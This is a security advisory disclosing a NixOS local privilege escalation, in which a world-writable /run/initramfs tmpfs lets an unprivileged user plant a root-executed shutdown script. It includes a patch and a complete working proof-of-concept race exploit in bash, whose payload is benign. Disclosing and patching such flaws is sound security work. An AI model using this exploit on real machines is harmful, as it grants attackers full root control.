Upstream advisory: GHSA-m7pq-h9p4-8rr4
See also: my main blog post
Impact
An unprivileged process with filesystem access can become root during system shutdown (including reboot, hibernate, kexec, etc).
Exploitation is straightforward and semi-reliable (it does rely on a race condition, but I have been able to reliably exploit it in a multi-core QEMU VM).
Upon successful exploitation, an attacker has full access over the local system.
Scope
All standard NixOS configurations with systemd.shutdownRamfs.enable = true
(since the bug was introduced in 2022-08-03, a454a706b584fa5c6583ecd8071b662caaedd9ca
).
If systemd.shutdownRamfs.enable
is false
, this vulnerability is fully mitigated.
Root Cause
The systemd.shutdownRamfs
NixOS module incorrectly configures run-initramfs.mount
, which mounts a tmpfs
at /run/initramfs
using the default 1777
permissions.
This enables an attacker to create an executable under /run/initramfs/etc/systemd/system-shutdown/
, which will be executed by systemd-shutdown
during the shutdown procedure.
Vulnerability Details
During system shutdown, generate-shutdown-ramfs.service
is started to populate /run/initramfs
with the contents of the "exitrd".
generate-shutdown-ramfs.service
triggers run-initramfs.mount
, which is incorrectly configured by the systemd.shutdownRamfs
module to use the default mode=1777
mount option.
This creates a "time-of-mount to time-of-population" race, where an attacker can create the /run/initramfs/etc
directory before make-initrd-ng
does.
If successful, make-initrd-ng
will ignore the already-existing directory (with an incorrect owner) and continue populating the exitrd.
The attacker can then install a malicious executable in the /run/initramfs/etc/systemd/system-shutdown/
directory, which will be executed by systemd-shutdown
during the shutdown procedure (after transitioning to the exitrd).
As with the previous vulnerability, the attacker will have full root capabilities on the local system.
Patch
I have drafted the following patch which should fix this vulnerability:
From 4f96c3f31a2214bb439e0a2fbd3cd39b3b81a844 Mon Sep 17 00:00:00 2001
From: sudoBash418 <sudoBash418@gmail.com>
Date: Mon, 31 Mar 2025 21:11:49 -0600
Subject: nixos/systemd-shutdown: Fix mount permissions
The default tmpfs mount permissions are overly-permissive (mode=1777).
Only root needs to modify the contents of the exitrd.
diff --git a/nixos/modules/system/boot/systemd/shutdown.nix b/nixos/modules/system/boot/systemd/shutdown.nix
index 1e8b8c6f863c..a839566af35c 100644
--- a/nixos/modules/system/boot/systemd/shutdown.nix
+++ b/nixos/modules/system/boot/systemd/shutdown.nix
@@ -52,6 +52,7 @@ in
what = "tmpfs";
where = "/run/initramfs";
type = "tmpfs";
+ options = "mode=0755";
}
];
--
2.49.0
Proof-of-concept Exploit
I have written a simple proof-of-concept exploit to demonstrate the vulnerability.
- First, login to a NixOS machine as an unprivileged user, and save the script below as
poc.sh
- Run
bash poc.sh & disown
to start the script as a detached process and (optionally) logout - Reboot or poweroff the machine as normal
- The shutdown sequence should end with a message on the virtual terminal, demonstrating that the payload execution was successful (tested in QEMU)
#!/usr/bin/env bash
# usage: run this script via `bash poc.sh & disown` as any unprivileged user
# ignore signals to prevent systemd from killing us
trap -- '' SIGQUIT SIGHUP SIGINT SIGTERM SIGUSR1 SIGUSR2 SIGPIPE
# read the JSON that make-initrd-ng uses
contents_json="$(<$(grep -oE '(/nix/store/[^ ]+shutdown-ramfs-contents\.json)' /etc/systemd/system/generate-shutdown-ramfs.service))"
# extract nix store paths
bash_path="$(echo "$contents_json" | grep -o '/nix/store/[^"]*bash')"
coreutils_path="$(echo "$contents_json" | grep -o '/nix/store/[^"]*coreutils-[^"]*/bin')"
# wait for run-initramfs.mount to create the directory
while [[ ! -d /run/initramfs ]]; do
: # busy-wait to maximize our chances
done
# race time: try to beat make-initrd-ng to creating the etc directory
for i in {0..100}; do
mkdir /run/initramfs/etc >/dev/null
done
# write our malicious payload into the exitrd
install -Dm755 /dev/stdin /run/initramfs/etc/systemd/system-shutdown/exploit.sh <<EOF
#!${bash_path}
# we are now running as UID 0
export PATH="\$PATH:${coreutils_path}"
# uncomment to redirect stdout to serial console
#exec >/dev/ttyS0
# show our banner
echo "!!! systemd-shutdown exploit successful: PID=\$\$ \$(id) !!!"
# stall shutdown for visibility
echo "sleeping for 15 seconds..."
sleep 15
EOF